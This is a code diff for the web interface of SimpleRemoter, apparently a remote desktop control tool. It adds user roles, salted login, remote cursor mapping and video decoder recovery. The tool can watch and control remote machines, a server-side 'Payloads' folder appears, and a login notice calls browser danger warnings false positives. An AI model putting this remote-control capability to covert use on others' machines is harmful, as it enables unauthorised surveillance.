|
||||
}
|
||||
.users-btn.visible { display: inline-block; }
|
||||
.users-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
|
||||
/* User Management Modal */
|
||||
.modal-overlay {
|
||||
display: none;
|
||||
position: fixed;
|
||||
top: 0; left: 0; right: 0; bottom: 0;
|
||||
background: rgba(0,0,0,0.7);
|
||||
z-index: 1000;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.modal-overlay.active { display: flex; }
|
||||
.modal-content {
|
||||
background: rgba(22, 33, 62, 0.98);
|
||||
border-radius: 16px;
|
||||
padding: 24px;
|
||||
width: 90%;
|
||||
max-width: 500px;
|
||||
max-height: 80vh;
|
||||
overflow-y: auto;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
|
||||
border: 1px solid rgba(233, 69, 96, 0.2);
|
||||
}
|
||||
.modal-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
padding-bottom: 16px;
|
||||
border-bottom: 1px solid rgba(255,255,255,0.1);
|
||||
}
|
||||
.modal-header h3 { color: #e94560; margin: 0; }
|
||||
.modal-close {
|
||||
background: none;
|
||||
border: none;
|
||||
color: #888;
|
||||
font-size: 24px;
|
||||
cursor: pointer;
|
||||
padding: 0;
|
||||
line-height: 1;
|
||||
}
|
||||
.modal-close:hover { color: #e94560; }
|
||||
.user-form { margin-bottom: 24px; }
|
||||
.user-form h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
|
||||
.user-form input, .user-form select {
|
||||
width: 100%;
|
||||
padding: 10px 12px;
|
||||
margin-bottom: 12px;
|
||||
border: 1px solid rgba(255,255,255,0.1);
|
||||
border-radius: 8px;
|
||||
background: rgba(15, 52, 96, 0.8);
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
}
|
||||
.user-form input:focus, .user-form select:focus {
|
||||
outline: none;
|
||||
border-color: #e94560;
|
||||
}
|
||||
.user-form button {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
background: linear-gradient(135deg, #27ae60 0%, #2ecc71 100%);
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s;
|
||||
}
|
||||
.user-form button:hover { transform: translateY(-1px); }
|
||||
.user-list h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
|
||||
.user-item {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 12px;
|
||||
background: rgba(15, 52, 96, 0.5);
|
||||
border-radius: 8px;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
.user-item .user-info { flex: 1; }
|
||||
.user-item .username { color: #fff; font-weight: 500; }
|
||||
.user-item .role { color: #888; font-size: 12px; }
|
||||
.user-item .role.admin { color: #e94560; }
|
||||
.user-item .delete-btn {
|
||||
background: rgba(231, 76, 60, 0.2);
|
||||
border: 1px solid rgba(231, 76, 60, 0.5);
|
||||
color: #e74c3c;
|
||||
padding: 6px 12px;
|
||||
border-radius: 6px;
|
||||
cursor: pointer;
|
||||
font-size: 12px;
|
||||
}
|
||||
.user-item .delete-btn:hover { background: rgba(231, 76, 60, 0.4); }
|
||||
.user-item .delete-btn:disabled { opacity: 0.5; cursor: not-allowed; }
|
||||
.user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; }
|
||||
.user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; }
|
||||
.user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; }
|
||||
)HTML";
|
||||
|
||||
// Part 3: Device card styles
|
||||
@@ -267,6 +448,9 @@ inline std::string GetWebPageHTML() {
|
||||
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
|
||||
max-width: 100%; opacity: 0.8;
|
||||
}
|
||||
.device-card .active-window.busy {
|
||||
color: #e94560; opacity: 1; font-weight: 500;
|
||||
}
|
||||
.device-card .meta-row { display: flex; gap: 12px; margin-top: 6px; font-size: 12px; color: #666; }
|
||||
.device-card .meta-item { display: flex; align-items: center; gap: 4px; }
|
||||
.device-card .meta-item.rtt { font-weight: 500; }
|
||||
@@ -711,9 +895,22 @@ inline std::string GetWebPageHTML() {
|
||||
<h1>SimpleRemoter</h1>
|
||||
<div id="ws-status" class="conn-status disconnected">Connecting...</div>
|
||||
<input type="text" id="username" placeholder="Username" value="admin">
|
||||
<div class="password-wrapper">
|
||||
<input type="password" id="password" placeholder="Password">
|
||||
<button type="button" class="password-toggle" onclick="togglePasswordVisibility()" title="Show/Hide Password">👁</button>
|
||||
</div>
|
||||
<button id="login-btn" onclick="login()" disabled>Login</button>
|
||||
<div id="login-error" class="error-msg"></div>
|
||||
<div class="login-footer">
|
||||
<div class="security-notice">
|
||||
<strong>⚠ Security Notice</strong>
|
||||
SimpleRemoter.com may be flagged as "dangerous" by browsers due to the word "Remote" in its name. This is a false positive. The software is fully open-source and safe to use.
|
||||
</div>
|
||||
<div class="login-links">
|
||||
<a href="https://simpleremoter.com/" target="_blank">🌐 Website</a>
|
||||
<a href="https://git.simpleremoter.com/" target="_blank">📦 Source Code</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="devices-page" class="page">
|
||||
@@ -729,6 +926,7 @@ inline std::string GetWebPageHTML() {
|
||||
<button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button>
|
||||
</div>
|
||||
<button class="refresh-btn" onclick="getDevices()">Refresh</button>
|
||||
<button class="users-btn" id="users-btn" onclick="openUsersModal()">Users</button>
|
||||
<button class="logout-btn" onclick="logout()">Logout</button>
|
||||
</div>
|
||||
</div>
|
||||
@@ -772,6 +970,7 @@ inline std::string GetWebPageHTML() {
|
||||
<button class="shortcut-btn" data-key="190" tabindex="-1">.</button>
|
||||
<button class="shortcut-btn" data-key="188" tabindex="-1">,</button>
|
||||
<button class="shortcut-btn" data-key="191" data-shift="1" tabindex="-1">?</button>
|
||||
<button class="shortcut-btn" data-key="32" data-ctrl="1" tabindex="-1" title="Ctrl+Space">中</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="touch-indicator" id="touch-indicator"></div>
|
||||
@@ -785,6 +984,31 @@ inline std::string GetWebPageHTML() {
|
||||
<div class="zoom-indicator" id="zoom-indicator">100%</div>
|
||||
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
|
||||
</div>
|
||||
|
||||
<!-- User Management Modal -->
|
||||
<div class="modal-overlay" id="users-modal">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<h3>User Management</h3>
|
||||
<button class="modal-close" onclick="closeUsersModal()">×</button>
|
||||
</div>
|
||||
<div id="user-msg"></div>
|
||||
<div class="user-form">
|
||||
<h4>Create New User</h4>
|
||||
<input type="text" id="new-username" placeholder="Username" autocomplete="off">
|
||||
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
|
||||
<select id="new-role">
|
||||
<option value="viewer">Viewer (read-only)</option>
|
||||
<option value="admin">Admin (full access)</option>
|
||||
</select>
|
||||
<button onclick="createUser()">Create User</button>
|
||||
</div>
|
||||
<div class="user-list">
|
||||
<h4>Existing Users</h4>
|
||||
<div id="users-list"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)HTML";
|
||||
|
||||
// Part 7: JavaScript - State and WebSocket
|
||||
@@ -903,9 +1127,17 @@ inline std::string GetWebPageHTML() {
|
||||
startPingInterval();
|
||||
// Auto-restore session if token exists
|
||||
if (token) {
|
||||
// Check if we were on screen-page with an active device
|
||||
const screenPage = document.getElementById('screen-page');
|
||||
if (screenPage.classList.contains('active') && currentDevice) {
|
||||
// Reconnect to current device
|
||||
updateScreenStatus('connecting');
|
||||
ws.send(JSON.stringify({ cmd: 'connect', id: String(currentDevice.id), token }));
|
||||
} else {
|
||||
showPage('devices-page');
|
||||
getDevices();
|
||||
}
|
||||
}
|
||||
};
|
||||
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
|
||||
ws.onerror = (e) => console.error('WS error:', e);
|
||||
@@ -936,11 +1168,28 @@ inline std::string GetWebPageHTML() {
|
||||
challengeNonce = msg.nonce || '';
|
||||
console.log('Received challenge nonce');
|
||||
break;
|
||||
case 'salt':
|
||||
if (msg.ok) {
|
||||
completeLogin(msg.salt || '');
|
||||
} else {
|
||||
pendingLogin = null; // Clear pending state on error
|
||||
document.getElementById('login-error').textContent = msg.msg || 'Failed to get salt';
|
||||
}
|
||||
break;
|
||||
case 'login_result':
|
||||
if (msg.ok) {
|
||||
token = msg.token;
|
||||
currentUserRole = msg.role || 'viewer';
|
||||
sessionStorage.setItem('token', token);
|
||||
sessionStorage.setItem('role', currentUserRole);
|
||||
document.getElementById('login-error').textContent = '';
|
||||
// Show Users button for admin only
|
||||
const usersBtn = document.getElementById('users-btn');
|
||||
if (currentUserRole === 'admin') {
|
||||
usersBtn.classList.add('visible');
|
||||
} else {
|
||||
usersBtn.classList.remove('visible');
|
||||
}
|
||||
showPage('devices-page');
|
||||
getDevices();
|
||||
} else {
|
||||
@@ -976,17 +1225,29 @@ inline std::string GetWebPageHTML() {
|
||||
}
|
||||
break;
|
||||
case 'disconnect_result':
|
||||
// Only navigate if authenticated
|
||||
if (!token) break;
|
||||
showPage('devices-page');
|
||||
getDevices();
|
||||
// disconnect() already handles navigation, this is just server acknowledgment
|
||||
// No action needed - prevents race conditions when switching devices
|
||||
break;
|
||||
case 'resolution_changed':
|
||||
updateScreenStatus('connected');
|
||||
initDecoder(msg.width, msg.height);
|
||||
break;
|
||||
case 'cursor':
|
||||
// Update remote cursor style (only for desktop in control mode)
|
||||
currentCursorIndex = msg.index;
|
||||
if (controlEnabled && !isTouchDevice) {
|
||||
const canvas = document.getElementById('screen-canvas');
|
||||
// 254=custom cursor (not supported in web), 255=unsupported -> default
|
||||
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
|
||||
? cursorMap[msg.index]
|
||||
: 'default';
|
||||
canvas.style.cursor = cssCursor;
|
||||
}
|
||||
break;
|
||||
case 'device_offline':
|
||||
// Only handle if this is the device we're currently viewing
|
||||
if (!token) break;
|
||||
if (!currentDevice || String(msg.id) !== String(currentDevice.id)) break;
|
||||
updateScreenStatus('error', 'Device offline');
|
||||
setTimeout(() => { showPage('devices-page'); getDevices(); }, 2000);
|
||||
break;
|
||||
@@ -1002,6 +1263,29 @@ inline std::string GetWebPageHTML() {
|
||||
getDevices();
|
||||
}
|
||||
break;
|
||||
case 'create_user_result':
|
||||
if (msg.ok) {
|
||||
showUserMsg('User created successfully', false);
|
||||
document.getElementById('new-username').value = '';
|
||||
document.getElementById('new-password').value = '';
|
||||
listUsers();
|
||||
} else {
|
||||
showUserMsg(msg.msg || 'Failed to create user', true);
|
||||
}
|
||||
break;
|
||||
case 'delete_user_result':
|
||||
if (msg.ok) {
|
||||
showUserMsg('User deleted', false);
|
||||
listUsers();
|
||||
} else {
|
||||
showUserMsg(msg.msg || 'Failed to delete user', true);
|
||||
}
|
||||
break;
|
||||
case 'list_users_result':
|
||||
if (msg.ok) {
|
||||
renderUsersList(msg.users);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
)HTML";
|
||||
@@ -1014,6 +1298,11 @@ inline std::string GetWebPageHTML() {
|
||||
}
|
||||
|
||||
function initDecoder(width, height) {
|
||||
decoderWidth = width;
|
||||
decoderHeight = height;
|
||||
needKeyframe = false;
|
||||
decodeTimestamp = 0;
|
||||
|
||||
// Clear canvas before resizing to prevent residual content
|
||||
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
@@ -1035,6 +1324,10 @@ inline std::string GetWebPageHTML() {
|
||||
lastFrameTime = performance.now();
|
||||
decoder = new VideoDecoder({
|
||||
output: (frame) => {
|
||||
// Check if frame dimensions match canvas
|
||||
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
|
||||
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
|
||||
}
|
||||
ctx.drawImage(frame, 0, 0);
|
||||
frame.close();
|
||||
frameCount++;
|
||||
@@ -1046,7 +1339,7 @@ inline std::string GetWebPageHTML() {
|
||||
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
|
||||
}
|
||||
},
|
||||
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); }
|
||||
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
|
||||
});
|
||||
decoder.configure({
|
||||
codec: 'avc1.42E01E',
|
||||
@@ -1056,20 +1349,50 @@ inline std::string GetWebPageHTML() {
|
||||
});
|
||||
}
|
||||
|
||||
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
|
||||
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
|
||||
|
||||
function handleBinaryFrame(data) {
|
||||
if (!decoder || decoder.state !== 'configured') return;
|
||||
const view = new DataView(data);
|
||||
const deviceId = view.getUint32(0, true);
|
||||
const frameType = view.getUint8(4);
|
||||
const dataLen = view.getUint32(5, true);
|
||||
const isKeyframe = frameType === 1;
|
||||
|
||||
// If decoder is closed or errored, wait for keyframe to reinitialize
|
||||
if (!decoder || decoder.state === 'closed') {
|
||||
if (isKeyframe && decoderWidth > 0) {
|
||||
console.log('Reinitializing decoder on keyframe');
|
||||
initDecoder(decoderWidth, decoderHeight);
|
||||
needKeyframe = false;
|
||||
} else {
|
||||
needKeyframe = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (decoder.state !== 'configured') return;
|
||||
|
||||
// Skip delta frames if we need a keyframe
|
||||
if (needKeyframe && !isKeyframe) return;
|
||||
if (isKeyframe) needKeyframe = false;
|
||||
|
||||
const h264Data = new Uint8Array(data, 9, dataLen);
|
||||
try {
|
||||
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
|
||||
if (!isKeyframe && decoder.decodeQueueSize > 10) {
|
||||
needKeyframe = true; // Need keyframe to resync after skipping
|
||||
return;
|
||||
}
|
||||
decoder.decode(new EncodedVideoChunk({
|
||||
type: frameType === 1 ? 'key' : 'delta',
|
||||
timestamp: performance.now() * 1000,
|
||||
type: isKeyframe ? 'key' : 'delta',
|
||||
timestamp: decodeTimestamp++,
|
||||
data: h264Data
|
||||
}));
|
||||
} catch (e) { console.error('Decode error:', e); }
|
||||
} catch (e) {
|
||||
console.error('Decode error:', e);
|
||||
needKeyframe = true;
|
||||
}
|
||||
}
|
||||
)HTML";
|
||||
|
||||
@@ -1131,6 +1454,13 @@ inline std::string GetWebPageHTML() {
|
||||
return 'rtt-poor'; // Red: > 300ms
|
||||
}
|
||||
|
||||
function isWindowBusy(activeWindow) {
|
||||
if (!activeWindow || activeWindow.trim() === '') return false;
|
||||
const lower = activeWindow.toLowerCase();
|
||||
if (lower.includes('locked') || lower.includes('inactive')) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function updateDeviceInfo(deviceId, rtt, activeWindow) {
|
||||
// Update device in array
|
||||
const device = devices.find(d => d.id === deviceId || d.id === String(deviceId));
|
||||
@@ -1168,6 +1498,7 @@ inline std::string GetWebPageHTML() {
|
||||
}
|
||||
winEl.textContent = activeWindow;
|
||||
winEl.title = activeWindow;
|
||||
winEl.className = 'active-window' + (isWindowBusy(activeWindow) ? ' busy' : '');
|
||||
} else if (winEl) {
|
||||
winEl.remove();
|
||||
}
|
||||
@@ -1213,7 +1544,7 @@ inline std::string GetWebPageHTML() {
|
||||
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
|
||||
'<span class="meta-item">' + screenInfo + '</span>' +
|
||||
'</div>' +
|
||||
(activeWin ? '<div class="active-window" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
(activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
'</div>';
|
||||
}).join('');
|
||||
}
|
||||
@@ -1269,6 +1600,21 @@ inline std::string GetWebPageHTML() {
|
||||
else el.textContent = msg || 'Error';
|
||||
}
|
||||
|
||||
function togglePasswordVisibility() {
|
||||
const input = document.getElementById('password');
|
||||
const btn = document.querySelector('.password-toggle');
|
||||
if (input.type === 'password') {
|
||||
input.type = 'text';
|
||||
btn.innerHTML = '👀'; // Eyes
|
||||
} else {
|
||||
input.type = 'password';
|
||||
btn.innerHTML = '👁'; // Eye
|
||||
}
|
||||
}
|
||||
|
||||
// Pending login state for salt-based auth
|
||||
let pendingLogin = null;
|
||||
|
||||
async function login() {
|
||||
const username = document.getElementById('username').value;
|
||||
const password = document.getElementById('password').value;
|
||||
@@ -1276,8 +1622,18 @@ inline std::string GetWebPageHTML() {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) { document.getElementById('login-error').textContent = 'Not connected'; return; }
|
||||
if (!challengeNonce) { document.getElementById('login-error').textContent = 'No challenge received'; return; }
|
||||
|
||||
// Compute password hash (same as server stores)
|
||||
passwordHash = await sha256(password);
|
||||
// Store pending login info and request salt first
|
||||
pendingLogin = { username, password };
|
||||
ws.send(JSON.stringify({ cmd: 'get_salt', username }));
|
||||
}
|
||||
|
||||
async function completeLogin(salt) {
|
||||
if (!pendingLogin) return;
|
||||
const { username, password } = pendingLogin;
|
||||
pendingLogin = null;
|
||||
|
||||
// Compute password hash with salt: SHA256(password + salt)
|
||||
passwordHash = await sha256(password + salt);
|
||||
// Compute response: SHA256(passwordHash + nonce)
|
||||
const response = await sha256(passwordHash + challengeNonce);
|
||||
ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce }));
|
||||
@@ -1295,6 +1651,75 @@ inline std::string GetWebPageHTML() {
|
||||
sessionStorage.removeItem('token');
|
||||
devices = [];
|
||||
showPage('login-page');
|
||||
// Hide users button
|
||||
document.getElementById('users-btn').classList.remove('visible');
|
||||
}
|
||||
|
||||
// User Management Functions
|
||||
let currentUserRole = 'viewer';
|
||||
|
||||
function openUsersModal() {
|
||||
document.getElementById('users-modal').classList.add('active');
|
||||
document.getElementById('user-msg').innerHTML = '';
|
||||
listUsers();
|
||||
}
|
||||
|
||||
function closeUsersModal() {
|
||||
document.getElementById('users-modal').classList.remove('active');
|
||||
}
|
||||
|
||||
function showUserMsg(msg, isError) {
|
||||
const el = document.getElementById('user-msg');
|
||||
el.className = 'user-msg ' + (isError ? 'error' : 'success');
|
||||
el.textContent = msg;
|
||||
setTimeout(() => { el.innerHTML = ''; }, 3000);
|
||||
}
|
||||
|
||||
function createUser() {
|
||||
const username = document.getElementById('new-username').value.trim();
|
||||
const password = document.getElementById('new-password').value;
|
||||
const role = document.getElementById('new-role').value;
|
||||
|
||||
if (!username || !password) {
|
||||
showUserMsg('Username and password are required', true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (ws && ws.readyState === WebSocket.OPEN && token) {
|
||||
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role }));
|
||||
}
|
||||
}
|
||||
|
||||
function deleteUser(username) {
|
||||
if (!confirm('Delete user "' + username + '"?')) return;
|
||||
if (ws && ws.readyState === WebSocket.OPEN && token) {
|
||||
ws.send(JSON.stringify({ cmd: 'delete_user', token, username }));
|
||||
}
|
||||
}
|
||||
|
||||
function listUsers() {
|
||||
if (ws && ws.readyState === WebSocket.OPEN && token) {
|
||||
ws.send(JSON.stringify({ cmd: 'list_users', token }));
|
||||
}
|
||||
}
|
||||
|
||||
function renderUsersList(users) {
|
||||
const container = document.getElementById('users-list');
|
||||
if (!users || users.length === 0) {
|
||||
container.innerHTML = '<div style="color:#666;padding:12px;">No users</div>';
|
||||
return;
|
||||
}
|
||||
container.innerHTML = users.map(u => {
|
||||
const isAdmin = u.role === 'admin';
|
||||
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
|
||||
return '<div class="user-item">' +
|
||||
'<div class="user-info">' +
|
||||
'<div class="username">' + escapeHtml(u.username) + '</div>' +
|
||||
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
|
||||
'</div>' +
|
||||
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
|
||||
'</div>';
|
||||
}).join('');
|
||||
}
|
||||
|
||||
function getDevices() {
|
||||
@@ -1374,6 +1799,28 @@ inline std::string GetWebPageHTML() {
|
||||
// Control mode state (mouse/keyboard control)
|
||||
let controlEnabled = false;
|
||||
|
||||
// Remote cursor mapping (Windows cursor index -> CSS cursor)
|
||||
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
|
||||
const cursorMap = [
|
||||
'progress', // 0: IDC_APPSTARTING
|
||||
'default', // 1: IDC_ARROW
|
||||
'crosshair', // 2: IDC_CROSS
|
||||
'pointer', // 3: IDC_HAND
|
||||
'help', // 4: IDC_HELP
|
||||
'text', // 5: IDC_IBEAM
|
||||
'default', // 6: IDC_ICON (no direct CSS equivalent)
|
||||
'not-allowed', // 7: IDC_NO
|
||||
'default', // 8: IDC_SIZE (deprecated, use default)
|
||||
'move', // 9: IDC_SIZEALL
|
||||
'nesw-resize', // 10: IDC_SIZENESW
|
||||
'ns-resize', // 11: IDC_SIZENS
|
||||
'nwse-resize', // 12: IDC_SIZENWSE
|
||||
'ew-resize', // 13: IDC_SIZEWE
|
||||
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
|
||||
'wait' // 15: IDC_WAIT
|
||||
];
|
||||
let currentCursorIndex = 1; // Default: arrow
|
||||
|
||||
// Floating toolbar state
|
||||
let toolbarVisible = false;
|
||||
let toolbarHideTimer = null;
|
||||
@@ -1525,8 +1972,18 @@ inline std::string GetWebPageHTML() {
|
||||
const canvas = document.getElementById('screen-canvas');
|
||||
const cursorOverlay = document.getElementById('cursor-overlay');
|
||||
// Touch devices: hide browser cursor, show overlay (touchpad mode)
|
||||
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor)
|
||||
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default';
|
||||
// Desktop: use remote cursor style when control enabled
|
||||
if (controlEnabled && isTouchDevice) {
|
||||
canvas.style.cursor = 'none';
|
||||
} else if (controlEnabled && !isTouchDevice) {
|
||||
// Apply current remote cursor
|
||||
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
|
||||
? cursorMap[currentCursorIndex]
|
||||
: 'default';
|
||||
canvas.style.cursor = cssCursor;
|
||||
} else {
|
||||
canvas.style.cursor = 'default';
|
||||
}
|
||||
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
|
||||
}
|
||||
|
||||
@@ -2239,6 +2696,7 @@ inline std::string GetWebPageHTML() {
|
||||
sendMouse('up', pos.x, pos.y, e.button);
|
||||
});
|
||||
|
||||
// dblclick handler - server will forward only to macOS clients
|
||||
canvas.addEventListener('dblclick', function(e) {
|
||||
e.preventDefault();
|
||||
const pos = getMousePos(e);
|
||||
@@ -2356,6 +2814,7 @@ inline std::string GetWebPageHTML() {
|
||||
if (qcMouse) qcMouse.classList.remove('active');
|
||||
document.getElementById('screen-canvas').style.cursor = 'default';
|
||||
document.getElementById('cursor-overlay').classList.remove('active');
|
||||
currentCursorIndex = 1; // Reset to default arrow
|
||||
|
||||
// Reset zoom state
|
||||
zoomState.scale = 1;
|
||||
@@ -2366,7 +2825,10 @@ inline std::string GetWebPageHTML() {
|
||||
canvas.style.transformOrigin = '';
|
||||
|
||||
if (decoder) { try { decoder.close(); } catch(e) {} decoder = null; }
|
||||
if (ws && ws.readyState === WebSocket.OPEN && token) ws.send(JSON.stringify({ cmd: 'disconnect', token }));
|
||||
if (ws && ws.readyState === WebSocket.OPEN && token && currentDevice) {
|
||||
ws.send(JSON.stringify({ cmd: 'disconnect', token, id: String(currentDevice.id) }));
|
||||
}
|
||||
currentDevice = null; // Clear current device
|
||||
showPage('devices-page');
|
||||
getDevices();
|
||||
}
|
||||
@@ -2392,22 +2854,49 @@ inline std::string GetWebPageHTML() {
|
||||
});
|
||||
|
||||
// Handle page visibility change (iOS PWA background/foreground)
|
||||
document.addEventListener('visibilitychange', () => {
|
||||
isPageVisible = !document.hidden;
|
||||
if (document.hidden) {
|
||||
// Page going to background - close connection and cancel reconnect
|
||||
let backgroundDisconnectTimer = null;
|
||||
const BACKGROUND_TIMEOUT_MOBILE = 30000; // 30s for mobile/tablet
|
||||
|
||||
function doBackgroundDisconnect() {
|
||||
cancelReconnect();
|
||||
stopPingInterval();
|
||||
if (ws) {
|
||||
ws.onclose = null; // Prevent triggering reconnect
|
||||
ws.onclose = null;
|
||||
ws.close();
|
||||
ws = null;
|
||||
}
|
||||
updateWsStatus('disconnected');
|
||||
}
|
||||
|
||||
document.addEventListener('visibilitychange', () => {
|
||||
isPageVisible = !document.hidden;
|
||||
if (document.hidden) {
|
||||
// Page going to background
|
||||
const screenPage = document.getElementById('screen-page');
|
||||
const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice;
|
||||
|
||||
if (onScreenPage) {
|
||||
// Mobile/tablet: delay disconnect 30s
|
||||
// Desktop: keep connection alive (no timer)
|
||||
if (isTouchDevice) {
|
||||
backgroundDisconnectTimer = setTimeout(doBackgroundDisconnect, BACKGROUND_TIMEOUT_MOBILE);
|
||||
}
|
||||
} else {
|
||||
// Page coming to foreground - reconnect
|
||||
// Other pages - disconnect immediately
|
||||
doBackgroundDisconnect();
|
||||
}
|
||||
} else {
|
||||
// Page coming to foreground
|
||||
if (backgroundDisconnectTimer) {
|
||||
clearTimeout(backgroundDisconnectTimer);
|
||||
backgroundDisconnectTimer = null;
|
||||
}
|
||||
// Reconnect or send immediate ping
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||
connectWebSocket();
|
||||
} else if (token) {
|
||||
// Connection still open - send immediate ping to refresh server heartbeat
|
||||
ws.send(JSON.stringify({ cmd: 'ping', token }));
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -2456,10 +2945,13 @@ inline std::string GetWebPageHTML() {
|
||||
e.preventDefault();
|
||||
const keyCode = parseInt(btn.dataset.key);
|
||||
const needShift = btn.dataset.shift === '1';
|
||||
const needCtrl = btn.dataset.ctrl === '1';
|
||||
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
|
||||
if (needShift) sendShortcutKey(16, true); // Shift down
|
||||
sendShortcutKey(keyCode, true);
|
||||
sendShortcutKey(keyCode, false);
|
||||
if (needShift) sendShortcutKey(16, false); // Shift up
|
||||
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
|
||||
});
|
||||
btn.addEventListener('click', function(e) {
|
||||
e.preventDefault();
|
||||
@@ -2467,10 +2959,13 @@ inline std::string GetWebPageHTML() {
|
||||
if (!('ontouchstart' in window)) {
|
||||
const keyCode = parseInt(btn.dataset.key);
|
||||
const needShift = btn.dataset.shift === '1';
|
||||
const needCtrl = btn.dataset.ctrl === '1';
|
||||
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
|
||||
if (needShift) sendShortcutKey(16, true);
|
||||
sendShortcutKey(keyCode, true);
|
||||
sendShortcutKey(keyCode, false);
|
||||
if (needShift) sendShortcutKey(16, false);
|
||||
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -2496,8 +2991,13 @@ inline std::string GetWebPageHTML() {
|
||||
bindKeyboardBtnEvents(document.getElementById('qc-keyboard'));
|
||||
bindKeyboardBtnEvents(document.getElementById('btn-keyboard'));
|
||||
bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar'));
|
||||
// Restore token from sessionStorage
|
||||
// Restore token and role from sessionStorage
|
||||
token = sessionStorage.getItem('token');
|
||||
currentUserRole = sessionStorage.getItem('role') || 'viewer';
|
||||
// Show Users button for admin only (will be updated after login verification)
|
||||
if (token && currentUserRole === 'admin') {
|
||||
document.getElementById('users-btn').classList.add('visible');
|
||||
}
|
||||
connectWebSocket();
|
||||
};
|
||||
</script>
|
||||
|
||||
@@ -9,6 +9,8 @@
|
||||
#include "SimpleWebSocket.h"
|
||||
#include "common/commands.h"
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <shlobj.h>
|
||||
|
||||
// Algorithm constants (same as ScreenSpyDlg.cpp)
|
||||
#define ALGORITHM_H264 2
|
||||
@@ -20,6 +22,16 @@ static std::map<void*, std::string> s_ClientNonces;
|
||||
static std::mutex s_NonceMutex;
|
||||
static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction
|
||||
|
||||
// Generate random salt (16 hex chars) - thread-safe
|
||||
static std::string GenerateSalt() {
|
||||
static std::random_device rd;
|
||||
static std::mt19937_64 gen(rd());
|
||||
std::uniform_int_distribution<uint64_t> dis;
|
||||
char buf[17];
|
||||
snprintf(buf, sizeof(buf), "%016llX", dis(gen));
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
// Generate random nonce (32 hex chars) - thread-safe
|
||||
static std::string GenerateNonce() {
|
||||
if (s_bShuttingDown) return "";
|
||||
@@ -112,11 +124,22 @@ CWebService::CWebService()
|
||||
m_PayloadsDir = (exeDir / "Payloads").string();
|
||||
std::error_code ec;
|
||||
std::filesystem::create_directories(m_PayloadsDir, ec);
|
||||
|
||||
// Initialize config directory (same as YAMA.db location)
|
||||
char appdata_path[MAX_PATH];
|
||||
